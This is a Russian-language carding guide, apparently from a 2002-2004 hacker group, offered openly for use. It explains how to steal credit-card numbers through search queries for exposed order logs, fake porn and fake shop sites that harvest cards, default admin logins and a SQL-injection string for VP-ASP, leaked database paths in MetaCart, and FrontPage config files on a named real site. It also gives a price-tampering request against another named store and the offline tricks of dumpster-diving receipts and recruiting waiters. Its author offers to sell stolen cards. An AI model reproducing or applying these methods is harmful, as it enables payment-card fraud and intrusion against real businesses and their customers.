order_log_v12.dat
also order_log.dat
web_store.cgi
storemgr.pw
admin.pw
cc.txt
ck.log
shopper.conf
Так же нужно смотреть *.cfg, *.pw и *.olf файлы
Хех…вроде бы и всё, что нужно знать. Ложишь пальцы на клаву и нервно стучишь в поисковую строку нечто на подобие “Index of /orders.log” и жмёшь ENTER. Что дальше?! А дальше вам стоит просто терпение и перебор нужных ссылок…а потом проверка полученых кредиток. Вот так вот плохие люди имеют ваши креды.Способ 2. Делаем порносайт ! Да-да именно порносайт. Идея в чем ? Много раз ты видел в сети кучу сайтов, которые предоставляют тебе доступ в каталог с порнушкой после того как ты заплатишь N-ую сумму по кредитке. Тебе влом делать такую пагу? Но ради сотен кредиток тебе стоит этим заняться, тем более что пага будет левая, те не надо заливать туды тысячи картинок. Делаем крутую начальную страницу, желательно на флеше и без фреймов(так юзеры любят), и страницу для бесплатного доступа(free trial), залив туда штук десяток крутейших качественных фоток, которые не нужно брать с таких известных и крупных сайтов как http://www.sex.com/, http://www.porno.com/. потом заделываем регистрацию для получения от ламеров/юзеров номеров их кредиток и инфы, которая необходима для того чтобы эти бабки с креды слить. Всосал фишку? И делов то на 2 часа ! При этом слезно обещаешь юзверю, что пароль для доступа ты пришлешь через 2 часа, и вот тебе еще и мыло, которое ты можешь продать в большом количестве. Двойная выгода. Ясен перец, что пароль ты не пришлешь, но зато пришлешь уведомление о том, что сайт временно не работает! И запомни фишку, не загибай цен, а креды проверяй для того чтобы знать, что юзер довольно половозрелое существо (то бишь совершеннолетний), так многие делают! Надеюсь ты все уяснил? И запомни: НЕ ЖАДНИЧАЙ !
Способ 3. С помощью 2 способа ты получишь минимум кред. Порносайт плох тем, что вряд ли вам удастся создать что-то такое, на что народ бы валом попёр, т.к. то, что можно было придумать новаторское в этой области, давно придумано, да и народу, который на порносайты за деньги валит, сравнительно немного…и ламерков (юзеров, программеров, хакеров, системных администраторов – подчеркнуть нужное), которые пытаются денег нагрести, полно, а после публикации в “Хакере” количество оных, я думаю, увеличится ещё раз в 5-10 раз.
Чтобы выделиться на общем фоне, надо прибегать к-чёрт-знает-каким-напрягам, да и вообще подумай: надо ли тебе это?
Есть идея получше: открыть свой е-магазин , без всяких шуток.
Итак, фишка заключается в том, что можно предложить народу любые продукты (только не варенье и не тампаксы ), по ценам ниже рыночных . Как это сделать? Да очень просто: мы только предлагаем, но ничего не продаём. Давайте приведу пример: создаём сайт по продаже супер-пупер-мега-дрюпер-компов по цене в 400 вечнозеленых ну (ест-но, покупка по кредам), после некой рекламы про супер-низкие цены к нам приходит человек, и, видя данную картину, естественно желает прикупить парочку данных компов. Далее, он покупает их по креде, которая и приходит к нам на е-маил, а через дня два ему посылается письмецо с содержанием: Компания супермега компы Inc. крупно извиняется, но не может выполнить данную услугу в данный момент, или что-то в этом духе… И вот у вас креда в руках, творите что хотите, но особенно не зарывайтесь.
Так же можно продавать буржуям продукты питания, так как там, где солнце светит наглой мордой, покупки через интернет делают в основном домохозяйки.
Способ 4.
MetaCart2.sql – система покупок, основанная на ASP + MS SQL. Обнаруженная уязвимость в программе позволяет атакующему получить доступ к базе данных, в которой хранятся чувствительные данные (номера кредитных карточек, адреса, E-mail и т.п). Пример: http://xxxshop/database/metacart.mdb, http://xxxshop/database/metacart.mdb, http://xxxshop/metacart/database/metacart.mdb, http://xxxshop/metacart/database/metacart.mdb. Уязвимость обнаружена в MetaLinks MetaCart2.sql Если хотя бы немного разбираешься в хакинге, ты припоминаешь такую фишку Cart32. Эта фигня стояла на многих онлайн – магазинах. Cart32 очень дырявый, можно было просматривать базы данных с кредитными карточками. Увы, админы все дырки позакрывали. Я тут недавно пытался через Cart32 надыбать кред, я запарился искать дырявый сервак, но так и не нашел.
Сейчас существует почти аналог Cart32, так назваемый VP-ASP. Он, как ни странно тоже дырявый. Все ниженаписанные действия проводи через анонимный прокси. Так что лезь на Альтависту и пиши shopadmin.asp. Выбирай любой сайт, который тебе предложит ввести пароль и логин. По дефолту пароль с логином: admin/admin, vpasp/vpasp или ‘or”=’. Если тебя пропустили, ты можешь смотреть/удалять/изменять разную инфу: списки товаров, категории товаров и………инфу о кредах. Вот они долгожданные. Но бывает, что админ не полный ламак и изменяет пароль. Тогда ты увидишь розовую птицу обломинго.
Но не все потеряно. Опять же по дефолту база данных о юзерах в незашифровонном виде находится в файле shopping300.mdb/shopping400.mdb, но
опять но…. Админ мог изменить имя файла. К нам на помощь приходит файл
shopdbtest.asp, который доступен всем, и он раскрывает месторасположение
базы данных внутри значения xDatabase. Копируешь имя файла и добавляешь
расширение .mdb, так как имя файла прописано без расширения. Только ты
поторопись, похоже админы очнулись, начинают дырку закрывать, гады.
Если у тебя все получилось, считай себя начинающим кардером. Ты имеешь базу дынных кредиток, только ты ими особо не злоупотребляй, лучше продай их кому-нибудь. Но если у тебя ничего не вышло, а тебе нужны креды, как туалетная бумага, пиши мне, я тебе всегда продам немного кред за определенную плату. Уж у меня-то свеженькие номера кредиток имеются. Я в инете видел пару сайтов, где размещают ворованные креды, поищи их.
Способ 5. В больших супермаркетах принимают к оплате кредитные карты. После того, как покупатель прошел через кассу у него на руках остается чек и “Слип”. Так вот многие люди просто выкидывают его в урну. Стоит поошиваться около мусорки и у тебя на руках остается почти настоящая кредитка. Кстати подходят только карточки Visa, MasterCard и AmericanExpress(aka Amex). (это обычно пишется на слипе.)
Способ 6. Попросить у друга-официанта незаметно переписать номер кредитки и дать/продать тебе.
Способ 7. Взломать какой-нибудь web-shop и скоприовать файл или лог с кредиками. Способ имеет большой недостаток. Необходимо быть крутым хакером, а этим наделены немногие.

интернетРазбираем дальше уязвимости систем электронной коммерции. Начнем со сладкого, а именно с сс. Незадачливым администраторам интернет-магазинов уже давно следовало бы понять, что файлам, хранящим критическую информацию (пароли, номера кредитных карт, и т.д.), совсем не место в открытых для всеобщего просмотра веб-директориях, даже если об этих файлах никто, кроме самого админа не знает. Примером такого головотяпства, является —www.swimmingcoach.org , администратор которого хранит данные о кредитных карточках своих клиентов в текстовых файлах директории /_private/, будучи уверенным в том, что о их существовании знает только он один. Так бы и было, если бы не всеми любимый Microsoft, со своим
величайшим творением всех времен и народов – FrontPage, который сыграл в этом случае злую шутку. Ее смысл в том, что в некоторых файлах FrontPage хранит информацию о всех файлах веб-сервера и, что самое главное, файлах, в которые выводятся и сохраняются результаты обработки данных. О дним из таких файлов является writeto.cnf, расположенный как правило в — http://www.xxx.org/_vti_pvt/writeto.cnf.
Вот какую информацию предоставляет скачанный writeto.cnf с сервера
www.swimmingcoach.org (именно скачанный, в браузере ты его не откроешь):

—–
_private/sic7result.txt: collegesTiJimming/sicS.htm fpdb:global.asa
collegesTiJimming/sicS.asp salary.asp
_private/Jobsvc_net.txt:jobservice/job_net_questions.htm
_private/audio_sales.txt:worldclinic/ASCA99/asca99_audio.htm
_private/survey.txt:jobservice/salary.htm _private/Mc2000_registration. txt:
Tijorldclinic/asca2000/asca2000_packets . htm
_private/form_results.txt:jobservice/02salary.htm
_private/article_results.txt:ALTST/past_articles/altst_4.htm ALTST/past_artide;
pbsurvey.txt:water_depth_rule_questionnaire.asp
_private/cert_up.txt:forms/certupgrade.htm
_private/Mcreg2002_results.txt:worldclinic/ASCA2002/registration2.htm worldclin:
_private/emembers.txt:articles/9903/9903-4.htm articles/9903/9903-5.htm
article;j _private/jobsvc_net.txt:jobservice/job_net_questions.htm
_private/certificaion_orders.txt:ASCA_Catalog/certification_0rder.htm
_private/ameridome_leads.txt:ameridome/ordering.htm
_private/feedbackl.txt:forms/feedback.htm
_private/bkcatalog.txt:ASCA_Catalog/catalog.htm ASCA_Catalog/images/catalog.htm
_private/wc2000_Registration.txt: worldclinic/ ASCA2000/asca2000_packets.htm
_private/sicSresult.txt:sicS/default.htm
_private/sescc_reg.txt:forms/STiJscc_reg.htm
_private/chevron.txt:forms/chevform.htm
_private/sicord.txt:ASCA_Catalog/sicord.htm
_private/samonth.txt:forms/samonth.htm
_private/altst_jоin.txt:ALTST/ALTST_Join.htm learning_center:global.asa
SurvivalKIT:survivalkit.asp
—–

Как ты видишь, результаты выводятся в текстовые файлы emembers.txt, survey.txt,
sicSresult.txt лежащие в директории /_private/. Остается всего лишь открыть их в
браузере и сохранить те, в которых лежат кредитки.
Кроме этого, ту же информацию можно получить и из другого файла на этом сервере
author.log, расположенного в директории /_vti_log/. Он большой, так что придется
запастись терпением.
Следующим сайтом который подвергнется нашему разбору, будет www.maledicta.com.
В одной из прошлых статей мы говорили о манипуляции ценой в торговых тележках.
www.maledicta.com дает нам еще один пример такого действия. Скрипт тележки
quikstore.cgi (в прошлом – бажный) в данном случае обрабатывает запросы методом
POST, так что для изменения цены товара придется воспользоваться утилитой
Achilles, скачать которую ты можешь с нашего сайта – lwb57.webmen.ru.
С ее помощью ты увидишь строку запроса вот такого вида:
—–
item-BEQUGODU%7C14.95%7CEquinox+of+the+Gods%7CNA%7CNA=1&store_type=html&page=c[+]
[+]rowley.html&add_to_cart.x=45&add_to_cart.y=14
—–
Конечно, если выберешь книгу Алистера Кроули (Сrowley), на мой взгляд,
единственного мистика, достойного прочтения.
Как ты, наверное, уже успел заметить, что цена товара передается в строке запроса
“14.95″, с помощью Achilles ты можешь теперь ее изменить и передать серверу.
А можешь просто передать запрос в строке браузера.
Так выглядит изначальный запрос:

http://www.maledicta.com/cgi-bin/quikstore…14.95%7CEquinox[+]
[+]+of+the+Gods%7CNA%7CNA=1&store_type=html&page=crowley.html&add_to_cart.x=45[+]
[+]&add_to_cart.y=14

А так модифицированный:

http://www.maledicta.com/cgi-bin/quikstore…0.95%7CEquinox+[+]
[+]of+the+Gods%7CNA%7CNA=1&store_type=html&page=crowley.html&add_to_cart.x=45&[+]
[+]add_to_cart.y=14

Приятных чтений на ночь;-).
Eat The Rich!
Copyright 2002-2004 by LwB Security Team. All rights reserved.
З,Ы, из первого шопа до сегодня можно креды дергать, привда без cvv2